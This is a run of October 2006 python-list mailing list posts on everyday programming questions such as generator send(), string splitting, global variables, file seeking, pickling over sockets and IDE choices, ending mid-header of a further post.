> then close it.. I hope that explains what I'm looking for.  If I see
> the line I can figure out by syntax where it should go. I'm really
> good at learning the gist of languages by syntax.  Thank you all for
> your time

Are you running any external commands by using os.system() or
os.exec()?  If you are running a program that is a console program
(i.e. copy, move, del, etc...) then it will open up a command window to
run it.  If that is the case, then you can try using the os.popen()
utility instead.

--
Jerry



From usenet-mail-0306.20.chr0n0ss at spamgourmet.com  Thu Oct 12 13:46:36 2006
From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann)
Date: Thu, 12 Oct 2006 19:46:36 +0200
Subject: strings in the global section
References: <1160675040.806545.7620@i3g2000cwc.googlegroups.com>
Message-ID: <4p7dbsFh384nU1@individual.net>

Phoe6 wrote:

> But it is not so. It always prints This is a String. astring
> declared outside all the functions, is not in global section and
> values be overwritten by functions accessing it?
> 
> - How is this working?

If you assign "astring" inside the function body, it's a local name. 

> - What should I do to overwrite the string variable in the global
> section within functions?

Put a "global astring" in the function to access the global name
instead.

BTW, think about using a better interface than globals.

Regards,


Bj?rn

-- 
BOFH excuse #23:

improperly oriented keyboard



From fredrik at pythonware.com  Sun Oct  8 15:47:43 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 08 Oct 2006 21:47:43 +0200
Subject: PEP 342 misunderstanding
In-Reply-To: <1160335982.242058.59780@k70g2000cwa.googlegroups.com>
References: <1160335982.242058.59780@k70g2000cwa.googlegroups.com>
Message-ID: <egbkkv$37o$1@sea.gmane.org>

metamoof at gmail.com wrote:

>>>> def printrange():
> ...     for x in range(10):
> ...         x = yield x
> ...         print x
> ...
>>>> g = printrange()
>>>> for x in g:
> ...     g.send(x*2)
> ...
> 0
> 1
> None
> 4
> 3
> None
> 8
> 5
> None
> 12
> 7
> None
> 16
> 9
> None
> 
> Now, I was expecting that to be 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20.
> 
> What am I missing here?

the output doesn't match your sample program; I assume you left out a 
print statement or two from the second loop.

what you seem to be missing is that "next" (which is called by the 
for-in loop) is basically the same thing as "send(None)".  in other
words, you end up pulling two items from the generator for each iteration.

</F>



From rosedb0 at gmail.com  Mon Oct 16 15:22:06 2006
From: rosedb0 at gmail.com (hiaips)
Date: 16 Oct 2006 12:22:06 -0700
Subject: string splitting
In-Reply-To: <1161025958.201815.174020@m73g2000cwd.googlegroups.com>
References: <1161025958.201815.174020@m73g2000cwd.googlegroups.com>
Message-ID: <1161026526.424157.288960@k70g2000cwa.googlegroups.com>


rdhar... at gmail.com wrote:
> Hello,
> I have thousands of files that look something like this:
>
> wisconsin_state.txt
> french_guiana_district.txt
> central_african_republic_province.txt
>
> I need to extract the string between the *last* underscore and the
> extention.
> So based on the files above, I want returned:
> state
> district
> province
>
> My plan was to use .split or .find but I can't figure out how locate
> only the last underscore in the filename.
>
> Anyone have any ideas?
>
> Thanks.
> R.D.

Hi,

Try splitting the string on "." and using rfind to find the last
instance of "_".

i.e.,
myStr = "wisconsin_state.txt"
pieces = myStr.split(".")
substr = pieces[0][pieces[0].rfind("_") + 1:]

--hiaips



From fredrik at pythonware.com  Wed Oct 18 03:17:02 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 18 Oct 2006 09:17:02 +0200
Subject: [OT] a little about regex
In-Reply-To: <200610181337.42579.fulvio@tm.net.my>
References: <200610181337.42579.fulvio@tm.net.my>
Message-ID: <eh4kde$602$1@sea.gmane.org>

Fulvio wrote:

> ...     if deny.search(adr): cnt += 1
> ...     if allow.search(adr): cnt += 1

hint: under what circumstances are "cnt" decremented in the above snippet?

</F>



From ptmcg at austin.rr._bogus_.com  Thu Oct 26 09:24:34 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Thu, 26 Oct 2006 13:24:34 GMT
Subject: Can any one help with solving this program it just doesnt take
	probability of the second team
References: <1161845731.501326.46510@h48g2000cwc.googlegroups.com>
Message-ID: <mG20h.23034$ta3.22889@tornado.texas.rr.com>

"Arun Nair" <nairarunv at gmail.com> wrote in message 
news:1161845731.501326.46510 at h48g2000cwc.googlegroups.com...
> ''' Can anyone help me with this program it just takes probability of
> the first team and runs the program doesnt takes the probability of the
> second team even though specified'''
>
> from random import *
>
> def volleySimulation():
>    printInstructions()
>    probA, probB, n = getInputs()
>    winA, winB = simGames(n, probA, probB)
>    printSummary(winA, winB)
>
> def printInstructions():
>    print "This program stimulates a game of Volley Ball between two
> teams i.e. Team A and Team B"

While I was "stimulated" by reading this post, I think you mean "simulates" 
here. :)

-- Paul




From larry.bates at websafe.com  Fri Oct 27 10:56:24 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Fri, 27 Oct 2006 09:56:24 -0500
Subject: Tracing the execution of scripts?
In-Reply-To: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com>
References: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com>
Message-ID: <p7CdnaVdfsmKg9_YnZ2dnUVZ_sKdnZ2d@comcast.com>

I just thought I would put my 2 cents in on this issue.  Others
have suggested that unit tests are an excellent way of debugging
your code and I agree.  I also find that writing code from the
outset using a logging class (there is one in the standard
library) that allows you to create log files of information as
you run your application is a good idea.  Using increasingly
detailed logs (I use a debug mode of 1,2,3,4 for more detail)
that dump where you are and intermediate variable values works
EXTREMELY well for me.  I leave this code in the application
so that I can have customers (or myself) run the application
in debug mode should I have a hard to find problem.  This is
especially true for long running or lights-out batch apps
that have no UI making debugging even more difficult.  I find
that the overhead of testing if I'm in debug mode and logging
results is almost non-existent to the overall execution speed
of my scripts, but then I don't have very many really speed
sensitive scripts so your mileage might vary.

Hope the information helps.

-Larry


From jjl at pobox.com  Fri Oct  6 16:23:32 2006
From: jjl at pobox.com (John J. Lee)
Date: Fri, 06 Oct 2006 20:23:32 GMT
Subject: n-body problem at shootout.alioth.debian.org
References: <eg6bku$59b$1@online.de>
Message-ID: <87sli1yz0c.fsf@pobox.com>

Peter Maas <peter.maas at somewhere.com> writes:

> I have noticed that in the language shootout at shootout.alioth.debian.org
> the Python program for the n-body problem is about 50% slower than the Perl
> program. This is an unusual big difference. I tried to make the Python program
> faster but without success. Has anybody an explanation for the difference?
> It's pure math so I expected Perl and Python to have about the same speed.
> 
> Peter Maas, Aachen

Replacing ** with multiplication in advance() cut it down to 0.78
times the original running time for me.  That brings it along side
PHP, one place below Perl (I didn't bother to upload the edited script).


John


From dimitri.pater at gmail.com  Tue Oct 31 20:17:35 2006
From: dimitri.pater at gmail.com (dimitri pater)
Date: Wed, 1 Nov 2006 02:17:35 +0100
Subject: [ANN] serpia.org needs more tutorials
Message-ID: <e75321bd0610311717n16cc7d30gead923ac12096e5c@mail.gmail.com>

Hi,

for almost a year now I have been running my serpia.org website. This
website is dedicated to Python stuff. I figured that it would be a good idea
to share some experiences while learning the language and that is why I
started this website.
Maybe some of you share this idea and would like to contribute your
tutorials/thoughts/articles/whatever to serpia.org. So, if you have written
tutorials or any other material on Python, just  contact me and I will happy
to add it to serpia.org. I will give you full credit of course and make a
nice layout.

And yes, the website has those "annoying" Google ads. But it helps me paying
the hosting bills ;-)

Thanks,
Dimitri
-- 
---
You can't have everything. Where would you put it? -- Steven Wright
---
please visit www.serpia.org
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From paddy3118 at netscape.net  Fri Oct 20 22:54:46 2006
From: paddy3118 at netscape.net (Paddy)
Date: 20 Oct 2006 19:54:46 -0700
Subject: why does this unpacking work
References: <Qe9_g.129$1n3.3113@news.tufts.edu>
Message-ID: <1161399285.948294.212870@m73g2000cwd.googlegroups.com>

John Salerno wrote:
> I'm a little confused, but I'm sure this is something trivial. I'm
> confused about why this works:
>
>  >>> t = (('hello', 'goodbye'),
>       ('more', 'less'),
>       ('something', 'nothing'),
>       ('good', 'bad'))
>  >>> t
> (('hello', 'goodbye'), ('more', 'less'), ('something', 'nothing'),
> ('good', 'bad'))
>  >>> for x in t:
> 	print x
>
>
> ('hello', 'goodbye')
> ('more', 'less')
> ('something', 'nothing')
> ('good', 'bad')
>  >>> for x,y in t:
> 	print x,y
>
>
> hello goodbye
> more less
> something nothing
> good bad
>  >>>
>
> I understand that t returns a single tuple that contains other tuples.
> Then 'for x in t' returns the nested tuples themselves.
>
> But what I don't understand is why you can use 'for x,y in t' when t
> really only returns one thing. I see that this works, but I can't quite
> conceptualize how. I thought 'for x,y in t' would only work if t
> returned a two-tuple, which it doesn't.
>

Hi John,

Thats the point were you go astray.
iterating over t *does* produce a 2-tuple that can be unpacked
immediately.

maybe this will help, (notice that element is always one of the inner
tuples):

>>> tpl = ((00,01), (10,11), (20,21))
>>> for element in tpl:
... 	print "tpl provides this when iterated over:", element
...
tpl provides this when iterated over: (0, 1)
tpl provides this when iterated over: (10, 11)
tpl provides this when iterated over: (20, 21)
>>> for element in tpl:
... 	print "tpl provides this when iterated over:", element
... 	sub0, sub1 = element
... 	print "each element unpacks to:", sub0,"and:", sub1
...
tpl provides this when iterated over: (0, 1)
each element unpacks to: 0 and: 1
tpl provides this when iterated over: (10, 11)
each element unpacks to: 10 and: 11
tpl provides this when iterated over: (20, 21)
each element unpacks to: 20 and: 21
>>> for sub0, sub1 in tpl:
... 	print "each element of tuple unpacked immediately to:",
sub0,"and:", sub1
...
each element of tuple unpacked immediately to: 0 and: 1
each element of tuple unpacked immediately to: 10 and: 11
each element of tuple unpacked immediately to: 20 and: 21
>>> 


- Paddy.



From pearl.eyes2 at gmail.com  Fri Oct  6 11:25:03 2006
From: pearl.eyes2 at gmail.com (NOSHII)
Date: 6 Oct 2006 08:25:03 -0700
Subject: profiling memory usage
In-Reply-To: <1160090510.346379.285400@c28g2000cwb.googlegroups.com>
References: <1160090510.346379.285400@c28g2000cwb.googlegroups.com>
Message-ID: <1160148303.575815.193280@e3g2000cwe.googlegroups.com>



> Hi,
>
> I am looking for a method to profile memory usage in my python program.
> The program provides web service and therefore is intended to run for a
> long time. However, the memory usage tends to increase all the time,
> until in a day or two the system cannot handle it any more and starts
> to do constant swapping. Is there a way to look at which objects or
> variables are taking the huge amount of memory space?
> 
> Thanks,
>



From python.list at tim.thechases.com  Thu Oct 19 11:45:37 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Thu, 19 Oct 2006 10:45:37 -0500
Subject: [OT] Re: A suggestion/request for IDEs
In-Reply-To: <1161270895.245695.176750@m7g2000cwm.googlegroups.com>
References: <pRLZg.113$1n3.3340@news.tufts.edu>
	<1161270895.245695.176750@m7g2000cwm.googlegroups.com>
Message-ID: <45379DA1.9010504@tim.thechases.com>

John Salerno wrote:
> I apologize for the slightly off-topic nature, but I thought I'd just
> throw this out there for anyone working on text editors or IDEs with
> auto-completion.

Well, Vim7's autocompletion already allows this.  Earlier 
versions of vim also allowed similar behavior, but (AFAIK) didn't 
have a nice way to cancel the suggestion or to accept the 
suggestion without an additional character (or leaving insert 
mode).  In Vim7, you can abort your current ^P/^N completion with 
^E (to regain just what you typed, minus the current 
completion/suggestion) or you can accept it with ^Y (which won't 
add an extra character), or you can just continue typing to 
accept the completion, and then add the character you typed (such 
as space, period, etc).

Other editors/IDEs may have similar functionality...

-tkc







From amk at amk.ca  Wed Oct  4 08:55:59 2006
From: amk at amk.ca (A.M. Kuchling)
Date: Wed, 04 Oct 2006 07:55:59 -0500
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
Message-ID: <ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net>

On Wed, 04 Oct 2006 07:37:47 GMT, 
	Giovanni Bajo <noway at sorry.com> wrote:
> I am seriously concerned
> that the PSF infrastructure committee EVER considered non open-source
> applications for this. In fact, I thought that was an implicit requirement in
> the selection.

Being open source wasn't a requirement; minimal requirements were
specified in the initial message requesting trackers
(http://wiki.python.org/moin/OriginalCallForTrackers).

--amk


From joncle at googlemail.com  Tue Oct 24 04:50:40 2006
From: joncle at googlemail.com (Jon Clements)
Date: 24 Oct 2006 01:50:40 -0700
Subject: can't open word document after string replacements
In-Reply-To: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch>
References: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch>
Message-ID: <1161679840.505030.190280@b28g2000cwb.googlegroups.com>


Antoine De Groote wrote:

> Hi there,
>
> I have a word document containing pictures and text. This documents
> holds several 'ABCDEF' strings which serve as a placeholder for names.
> Now I want to replace these occurences with names in a list (members). I
> open both input and output file in binary mode and do the
> transformation. However, I can't open the resulting file, Word just
> telling that there was an error. Does anybody what I am doing wrong?
>
> Oh, and is this approach pythonic anyway? (I have a strong Java background.)
>
> Regards,
> antoine
>
>
> import os
>
> members = somelist
>
> os.chdir(somefolder)
>
> doc = file('ttt.doc', 'rb')
> docout = file('ttt1.doc', 'wb')
>
> counter = 0
>
> for line in doc:
>      while line.find('ABCDEF') > -1:
>          try:
>              line = line.replace('ABCDEF', members[counter], 1)
>              docout.write(line)
>              counter += 1
>          except:
>              docout.write(line.replace('ABCDEF', '', 1))
>      else:
>          docout.write(line)
>
> doc.close()
> docout.close()

Errr.... I wouldn't even attempt to do this; how do you know each
'line' isn't going to be split arbitarily, and that 'ABCDEF' doesn't
happen to be part of an image. As you've noted, this is binary data so
you can't assume anything about it. Doing it this way is a Bad Idea
(tm).

If you want to do something like this, why not use templated HTML, or
possibly templated PDFs? Or heaven forbid, Word's mail-merge facility?


(I think MS Office documents are effectively self-contained file
systems, so there is probably some module out there which can
read/write them).

Jon.



From daigno at gmail.com  Mon Oct 23 18:04:26 2006
From: daigno at gmail.com (=?ISO-8859-1?Q?=C9ric_Daigneault_lists?=)
Date: Mon, 23 Oct 2006 18:04:26 -0400
Subject: mean ans std dev of an array?
In-Reply-To: <1161640155.326890.288440@i42g2000cwa.googlegroups.com>
References: <1161640155.326890.288440@i42g2000cwa.googlegroups.com>
Message-ID: <453D3C6A.2020300@useReplyTo.hotmail.com>

Simplest I see is to do it manually.

If your array data is  numeric compatible

mean = sum(a)/len(a)

as for the standard Deviation it depends on the nature of your data...  
check out http://en.wikipedia.org/wiki/Standard_deviation  for info on 
that...  but in all a for loop with a few calculation within should be 
enough

I know no "standard" way to do this in python

Have not tested above code but it should work

?ric

SpreadTooThin wrote:
> import array
> a = array.array('f', [1,2,3])
>
> print a.mean()
> print a.std_dev()
>
> Is there a way to calculate the mean and standard deviation on array
> data?
>
> Do I need to import it into a Numeric Array to do this?
>
>   



From srikrishnamohan at gmail.com  Sun Oct  8 17:32:29 2006
From: srikrishnamohan at gmail.com (km)
Date: Mon, 9 Oct 2006 03:02:29 +0530
Subject: references and buffer()
In-Reply-To: <463ff4860610081316r7a96c31ex92632f09a6492ec5@mail.gmail.com>
References: <f4cc03640610081140i48be2853i68dde935d1b50b3d@mail.gmail.com>
	<egbh20$o6q$2@sea.gmane.org>
	<f4cc03640610081209x772ca04ex2b47204a2003bfb0@mail.gmail.com>
	<463ff4860610081224o7261e9e9ue0981b79fa574cbd@mail.gmail.com>
	<f4cc03640610081258p22e879feg4281c7bba758bef4@mail.gmail.com>
	<463ff4860610081316r7a96c31ex92632f09a6492ec5@mail.gmail.com>
Message-ID: <f4cc03640610081432t1f19db6v8d24cf623e293d82@mail.gmail.com>

Hi all,

Congratulations, you understand both Hinduism and Python better than I
> do now.  :) c.f.
> http://www.swami-krishnananda.org/brdup/brhad_III-09.html
>
> "Kati references, Yajnavalkya, iti?"


 the answer lies in a single line as pronounced by sri adi sankaracharya -
"aham bramhasmi sivoha sivoham " , which is still not implemented in python.
infact not in any other language! which is a limitatin of computers (and
comp languages) - they simply arent intelligent.
aham, tvam sah: cha madhye kim bhedam bhavati ? bhedam nasti !

Python uses two garbage collection schemes together. It uses reference
> counting (when number of references goes to zero, remove object from
> memory) and mark-and-sweep (comb through process memory methodically
> looking for objects that are no longer accessible). This is what
> allows it to collect cyclic structures, such as trees whose nodes
> links to their parents and vice versa.


why is that python doesnt implement direct memory addressing provided a
reference to an object exists ?

GC intercedes at various intervals when convenient. I don't think it
> would be immediate though.

what is the interval and what is its effect on the performance of python
interpreter ?
regards,
KM
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From gagsl-py at yahoo.com.ar  Thu Oct 26 16:25:45 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 26 Oct 2006 17:25:45 -0300
Subject: question about True values
In-Reply-To: <7xfydbhkso.fsf@ruckus.brouhaha.com>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<17727.47016.632530.720950@montanaro.dyndns.org>
	<ehoqhe$6iq$3@sea.gmane.org> <ehp32i$u1$1@sea.gmane.org>
	<7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar>
	<mailman.1232.1161829348.11739.python-list@python.org>
	<7xfydbhkso.fsf@ruckus.brouhaha.com>
Message-ID: <7.0.1.0.0.20061026144722.04641dd8@yahoo.com.ar>

At Wednesday 25/10/2006 23:29, Paul Rubin wrote:

>Steve Holden <steve at holdenweb.com> writes:
> > Gabriel Genellina wrote:
> > > iter(())
>
>I get that iter(()) is True (Python 2.3.4).

It's False on 2.4.2 - and perhaps it's what one would expect, but 
since this behavior is not documented anywhere, one should not count on it.


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From tim.peters at gmail.com  Fri Oct 13 03:57:36 2006
From: tim.peters at gmail.com (Tim Peters)
Date: Fri, 13 Oct 2006 03:57:36 -0400
Subject: File read-write mode: problem appending after reading
In-Reply-To: <452F3F8C.2070706@vtxmail.ch>
References: <452F3F8C.2070706@vtxmail.ch>
Message-ID: <1f7befae0610130057t82ce874h27cd7e7424efb371@mail.gmail.com>

[Frederic Rentsch]
>    Working with read and write operations on a file I stumbled on a
> complication when writes fail following a read to the end.
>
>  >>> f = file ('T:/z', 'r+b')
>  >>> f.write ('abcdefg')
>  >>> f.tell ()
> 30L
>  >>> f.seek (0)
>  >>> f.read ()
> 'abcdefg'
>  >>> f.flush ()  # Calling or not makes no difference
>  >>> f.write ('abcdefg')

Nothing is defined about what happens at this point, and this is
inherited from C.  In standard C, if you want to read following a
write, or write following a read, on the same stream, you must perform
a file-positioning operation (typically a seek) between them.

> Traceback (most recent call last):
>   File "<pyshell#62>", line 1, in -toplevel-
>     f.write ('abcdefg')
> IOError: (0, 'Error')

That's one possible result.  Since nothing is defined, any other
outcome is also a possible result ;-)

> Flushing doesn't help.

Right, and because flush() is not a file-positioning operation.

> I found two work arounds:
>
>  >>> f.read ()
> 'abcdefg'
>  >>> f.read ()   # Workaround 1: A second read (returning an empty string)
> ''
>  >>> f.write ('abcdefg')
> (No error)

Purely an accident; may or may not "work" the next time you try it, or
on another platform; etc.

>  >>> f.read ()
> 'abcdefg'
>  >>> f.seek (f.tell ())   # Workaround 2: Setting the cursor (to where it is!)

That's a correct approach.  f.seek(0, 1) (seek 0 bytes from the
current position) is a little easier to spell.

>  >>> f.write ('abcdefg')
> (No error)
>
> I found no problem with writing into the file. So it looks like it has
> to do with the cursor which a read puts past the end, unless it is past
> the end, in which case it goes back to the end. Is there a less kludgy
> alternative to "fseek (ftell ())"?

As above, you need to seek when switching from reading to writing, or
from writing to reading.


From davidh at ilm.com  Thu Oct 12 21:42:09 2006
From: davidh at ilm.com (David Hirschfield)
Date: Thu, 12 Oct 2006 18:42:09 -0700
Subject: Sending binary pickled data through TCP
Message-ID: <452EEEF1.6030606@ilm.com>

I have a pair of programs which trade python data back and forth by 
pickling up lists of objects on one side (using 
pickle.HIGHEST_PROTOCOL), and sending that data over a TCP socket 
connection to the receiver, who unpickles the data and uses it.

So far this has been working fine, but I now need a way of separating 
multiple chunks of pickled binary data in the stream being sent back and 
forth.

Questions:

Is it safe to do what I'm doing? I didn't think there was anything 
fundamentally wrong with sending binary pickled data, especially in the 
closed, safe environment these programs operate under...but maybe I'm 
making a poor assumption?

I was going to separate the chunks of pickled data with some well-formed 
string, but couldn't that string potentially randomly appear in the 
pickled data? Do I just pick an extremely 
unlikely-to-be-randomly-generated string as the separator? Is there some 
string that will definitely NEVER show up in pickled binary data?

I thought about base64 encoding the data, and then decoding on the 
opposite side (like what xmlrpclib does), but that turns out to be a 
very expensive operation, which I want to avoid, speed is of the essence 
in this situation.

Is there a reliable way to determine the byte count of some pickled 
binary data? Can I rely on len(<pickled data>) == bytes?

Thanks for all responses,
-David

-- 
Presenting:
mediocre nebula.



From __peter__ at web.de  Fri Oct 13 04:05:39 2006
From: __peter__ at web.de (Peter Otten)
Date: Fri, 13 Oct 2006 10:05:39 +0200
Subject: Efficiently iterating over part of a list
References: <pan.2006.10.13.07.35.48.237633@REMOVEME.cybersource.com.au>
Message-ID: <egnh8m$h86$02$1@news.t-online.com>

Steven D'Aprano wrote:

> Are there better or more Pythonic alternatives to this obvious C-like
> idiom?
> 
> for i in range(1, len(alist)):
>     x?=?alist[i]

For small start values you can use itertools.islice(), e. g:

for x in islice(alist, 1, None):
    # use x

You'd have to time at what point the C-like idiom (which I would have no
qualms using throughout) becomes faster.

Peter



From johnjsal at NOSPAMgmail.com  Fri Oct 13 20:27:56 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 13 Oct 2006 20:27:56 -0400
Subject: wing ide vs. komodo?
In-Reply-To: <2nRXg.108$1n3.2866@news.tufts.edu>
References: <2nRXg.108$1n3.2866@news.tufts.edu>
Message-ID: <45302f96$0$14750$c3e8da3@news.astraweb.com>

John Salerno wrote:
> Just curious what users of the two big commercial IDEs think of them 
> compared to one another (if you've used both).
> 
> Wing IDE looks a lot nicer and fuller featured in the screenshots, but a 
> glance at the feature list shows that the "personal" version doesn't 
> even support code folding! That's a little ridiculous and makes me have 
> doubts about it.
> 
> Komodo, on the other hand, seems to have more of the features that the 
> personal version of Wing IDE lacks (call tips, class browser, etc.) but 
> the look of it seems very sparse for some reason.

Well, I've tested out both for a little bit, and my first impression is 
that Wing is very slow and laggy (Personal Edition, at least) compared 
to Komodo. When you drag windows around, they leave huge trails, and the 
autocomplete really slows down the text. Komodo didn't seem to have 
these issues. But Wing's autocomplete definitely is more complete than 
Komodo's.


From metamoof at gmail.com  Sun Oct  8 15:33:02 2006
From: metamoof at gmail.com (metamoof at gmail.com)
Date: 8 Oct 2006 12:33:02 -0700
Subject: PEP 342 misunderstanding
Message-ID: <1160335982.242058.59780@k70g2000cwa.googlegroups.com>

So I've been reading up on all the new stuff in PEP 342, and trying to
understand its potential. So I'm starting with a few simple examples to
see if they work as expected, and find they dont.

I'm basically trying to do the following:

for x in range(10):
    print x*2

but coroutine-style.

My initial try was:

>>> def printrange():
...     for x in range(10):
...         x = yield x
...         print x
...
>>> g = printrange()
>>> for x in g:
...     g.send(x*2)
...
0
1
None
4
3
None
8
5
None
12
7
None
16
9
None
>>>

Now, I was expecting that to be 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20.

What am I missing here?

Moof



From grante at visi.com  Fri Oct 13 11:12:53 2006
From: grante at visi.com (Grant Edwards)
Date: Fri, 13 Oct 2006 15:12:53 -0000
Subject: Converting MSWord Docs to PDF
References: <4524431F@webmail.azwestern.edu>
	<mailman.278.1160550152.11739.python-list@python.org>
	<1160557838.143189.117730@c28g2000cwb.googlegroups.com>
	<mailman.444.1160748213.11739.python-list@python.org>
Message-ID: <12ivb7l3sb3sr87@corp.supernews.com>

On 2006-10-13, Theerasak Photha <hanumizzle at gmail.com> wrote:
> On 11 Oct 2006 02:10:38 -0700, Ant <antroy at gmail.com> wrote:
>>
>> Theerasak Photha wrote:
>> > On 10/11/06, melv at awc.edu <mj23 at toro.azwestern.edu> wrote:
>> ...
>> > (La)TeX is the king of document processing, and does PDF.
>>
>> Except that the OP want's to print Word documents as PDF.
>> LaTeX is good, granted, but just try converting LaTeX
>> documents to Word or vice versa...

OpenOffice will print directly to PDF, and it does a fair job
of opening MS Word documents.  I don't know if you can control
OOo directly from Python or print from the command line (OOo
doesn't seem to have a man page).

> Oh. But can't you just render Word documents to PostScript?

Yes.

> And then ps2pdf will pick up the rest of the slack.

Yes. 

That's how the various free "PDF printer drivers" for Windows work.

> It might not even need Python.

Not unless you're trying to automate the process somehow.

-- 
Grant Edwards                   grante             Yow!  I wish I was a
                                  at               sex-starved manicurist
                               visi.com            found dead in the Bronx!!


From edreamleo at charter.net  Wed Oct  4 11:21:05 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Wed, 4 Oct 2006 10:21:05 -0500
Subject: sax barfs on unicode filenames
References: <WOOUg.61$iP5.19@newsfe07.lga> <4ohufoFem6rpU1@uni-berlin.de>
Message-ID: <EjQUg.212$5B3.89@newsfe06.lga>

> Filenames are expected to be bytestrings.

The exception happens in a method to which no fileName is passed as an 
argument.

parse_leo_file: 
'C:\\prog\\tigris-cvs\\leo\\test\\unittest\\chinese?folder\\chinese?test.leo' 
(trace of converted fileName)

Unexpected exception parsing 
C:\prog\tigris-cvs\leo\test\unittest\chinese?folder\chinese?test.leo
Traceback (most recent call last):

  File "c:\prog\tigris-cvs\leo\src\leoFileCommands.py", line 2162, in 
parse_leo_file
    parser.parse(theFile)

  File "c:\python25\lib\xml\sax\expatreader.py", line 107, in parse
    xmlreader.IncrementalParser.parse(self, source)

  File "c:\python25\lib\xml\sax\xmlreader.py", line 119, in parse
    self.prepareParser(source)

  File "c:\python25\lib\xml\sax\expatreader.py", line 111, in prepareParser
    self._parser.SetBase(source.getSystemId())

UnicodeEncodeError: 'ascii' codec can't encode character u'\u8116' in 
position 44: ordinal not in range(128)

To repeat, theFile is an open file.  I believe the actual filename is passed 
nowhere as an argument to sax in my code.  Just to make sure, I converted 
the filename to ascii in my code, and got (no surprise) exactly the same 
crash.  I suppose a workaround would be to pass a 'file-like-object to sax 
instead of an open file, so that theFile.getSystemId won't crash.  But this 
looks like a bug to me.

BTW:

Python 2.5.0, Tk 8.4.12, Pmw 1.2
Windows 5, 1, 2600, 2, Service Pack 2

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From codecraig at gmail.com  Wed Oct 18 09:33:29 2006
From: codecraig at gmail.com (abcd)
Date: 18 Oct 2006 06:33:29 -0700
Subject: PIL: Image.draft -- what are the modes that I can use?
Message-ID: <1161178409.276973.286990@k70g2000cwa.googlegroups.com>

I have PIL 1.1.5 on python 2.4.1 and I am attempting to get a smaller
(file size) of an image.

for example:
im = ImageGrab.grab()

im.save("tmp.gif")    ---- about 1.7mb
im.save("tmp.jpeg")  ---- about 290kb

anyways I want to save the image as a GIF, but not have it be so
large....so I thought that the Image.draft method would be what I
wanted....

im.draft(mode, size)

Configures the image file loader so it returns a version of the image
that as closely as possible matches the given mode and size. For
example, you can use this method to convert a colour JPEG to greyscale
while loading it, or to extract a 128x192 version from a PCD file.

.....what 'modes' can I use?  or is there another way to shrink the
size of the image (other than resizing it)?

thanks



From MonkeeSage at gmail.com  Thu Oct  5 09:03:23 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 5 Oct 2006 06:03:23 -0700
Subject: Asychronous execution *with* return codes?
References: <1160051584.291073.44350@m73g2000cwd.googlegroups.com>
Message-ID: <1160053403.362330.136200@k70g2000cwa.googlegroups.com>

utabintarbo wrote:
> pid = subprocess.Popen([app] + lstArgs).pid

Check out the poll() method and the returncode attribute:
http://docs.python.org/lib/node533.html

Regards,
Jordan



From hanumizzle at gmail.com  Sat Oct 21 04:40:34 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Sat, 21 Oct 2006 04:40:34 -0400
Subject: FOR statement
In-Reply-To: <1161419515.890462.193310@k70g2000cwa.googlegroups.com>
References: <1161355135.268792.220290@f16g2000cwb.googlegroups.com>
	<453911b6$0$19616$88260bb3@free.teranews.com>
	<1161417033.963163.275300@i3g2000cwc.googlegroups.com>
	<mailman.885.1161418309.11739.python-list@python.org>
	<1161419515.890462.193310@k70g2000cwa.googlegroups.com>
Message-ID: <463ff4860610210140y541e6a1dnc8e6a65e5b374f6b@mail.gmail.com>

On 21 Oct 2006 01:31:55 -0700, bearophileHUGS at lycos.com
<bearophileHUGS at lycos.com> wrote:
> Theerasak Photha:
> > I guess Python isn't tail-recursive then?
>
> Right.
>
>
> > Well, algorithms seem to be more naturally expressed iteratively in
> > Python, and to be fair, most uses of recursion you see in e.g., Scheme
> > textbooks are really just grandstanding in the real world.
>
> Still, some algorithms enjoy some recursivity anyway, like some graph
> or tree exploration, structure flattening, and so on, for them I
> sometimes use recursivity in Python too.

That's absolutely true. However, it is probably unusual in most
circumstances for such recursions to blow through more than a thousand
stack frames.

-- Theerasak


From tommi.raivio at kypara.net  Wed Oct 18 03:55:01 2006
From: tommi.raivio at kypara.net (Tommi)
Date: 18 Oct 2006 00:55:01 -0700
Subject: Looking for assignement operator
References: <eh2n08$4ji$1@online.de>
Message-ID: <1161158101.890041.122160@k70g2000cwa.googlegroups.com>

Could the "traits" package be of help?

http://code.enthought.com/traits/



Alexander Eisenhuth wrote:
> Hello,
>
> is there a assignement operator, that i can overwrite?
>
> class MyInt:
> 	def __init__(self, val):
> 		assert(isinstance(val, int))
> 		self._val = val
>
> a = MyInt(10)
>
> # Here i need to overwrite the assignement operator
> a = 12
> 
> 
> Thanks
> Alexander



From gagsl-py at yahoo.com.ar  Thu Oct 19 21:22:34 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 19 Oct 2006 22:22:34 -0300
Subject: invert or reverse a string... warning this is a rant
